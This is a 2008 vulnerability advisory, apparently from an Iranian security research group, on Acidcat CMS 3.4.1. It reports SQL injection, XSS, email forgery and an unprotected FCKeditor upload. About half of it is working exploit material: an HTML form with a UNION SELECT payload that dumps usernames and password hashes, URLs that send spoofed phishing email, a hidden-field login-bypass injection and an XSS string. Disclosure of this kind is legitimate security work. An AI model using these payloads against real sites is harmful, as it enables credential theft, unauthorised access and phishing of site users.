Acidcat CMS Multiple Vulnerabilities

2008.04.30
Risk: Medium
Local: No
Remote: Yes
CWE: N/A

########################## www.BugReport.ir ####################################### # # AmnPardaz Security Research Team # # Title: Acidcat CMS Multiple Vulnerabilities. # Vendor: www.acidcat.com # Vulnerable Version: 3.4.1 # Exploit: Available # Impact: High # Fix: N/A # Original Advisory: http://bugreport.ir/index.php?/36 ######################################################################## ########### #################### 1. Description: #################### Acidcat CMS is a web site and simple Content Management System that can be administered via a web browser. #################### 2. Vulnerability: #################### 2.1. There is a SQL Injection in "default.asp". By using it, attacker can gain usernames and encrypted passwords. 2.1.1. POC: Check the exploit section. 2.2. There is a logical vulnerability in which attacker can send email by the site without any permission. 2.2.1. POC: Check the exploit section. 2.3. There is a SQL Injection in "main_login2.asp". By using it, attacker can login to the site. 2.3.1. POC: Check the exploit section. 2.4. There is a XSS in "/admin/admin_colors_swatch.asp". 2.4.1. POC: /admin/admin_colors_swatch.asp?field=value='';}alert('XSS');function(){m yForm.myText 2.5. There is a FckEditor which has no permission, and attacker can upload his/her file. 2.5.1. POC: /admin/fckeditor/editor/filemanager/connectors/test.html #################### 3. Exploits: #################### Original Exploit URL: http://bugreport.ir/index.php?/36/exploit 3.1. Attacker can gain usernames and passwords: ------------- <form action="http://[The URL]/default.asp?formType=&itemID=" method="post"> <input type="text" name="cID" id="cID" value="-1 union select 1,username,3,password,5,6,7,8,9,10,'1-1-2000','1-1-2010' from ac_user" /> <br /> <input type="submit" value="Submit" /> </form> ------------- 3.2. Attacker can send email without any permission: ------------- default_mail_aspemail.asp? AcidcatSend=1&From=Fake (at) Site (dot) com [email concealed]&FromName=FakeAdmin&To=Victim (at) Email (dot) com [email concealed]& Subject=Forgery&Body=Change your password to 123456! default_mail_cdosys.asp? AcidcatSend=1&From=Fake (at) Site (dot) com [email concealed]&FromName=FakeAdmin&To=Victim (at) Email (dot) com [email concealed]& Subject=Forgery&Body=Change your password to 123456! default_mail_jmail.asp? AcidcatSend=1&From=Fake (at) Site (dot) com [email concealed]&FromName=FakeAdmin&To=Victim (at) Email (dot) com [email concealed]& Subject=Forgery&Body=Change your password to 123456! ------------- 3.3. Attacker can login to the site: ------------- <form action="main_login2.asp" method="post"> <input type="hidden" name="username" id="username" value="FooNot' union select 1,2,3,'%CE%10%C9%CE%AC%0F%F3%07A%91%8B%1B%9FF%2D%DF%EBcO%9Au%5F%28%80%A5 %0D%D0%89%EA%EF%3E%BB%BDx%5F%0EM%7C%09%2C%B6s%9D%EAa%2FqX%7E%08%05%CAZ%2 6%1ET%10%CE' from ac_user where Username='1'or'1'='1'or'1'='1" size="200"/> <br /> <input type="hidden" name="password" id="password" value="0" /> <br /> <input type="submit" value="Click To Login!" /> </form> ------------- #################### 4. Solution: #################### Edit the source code to ensure that inputs are properly sanitized. #################### - Credit : #################### AmnPardaz Security Research & Penetration Testing Group Contact: admin[4t}bugreport{d0t]ir WwW.BugReport.ir WwW.AmnPardaz.com


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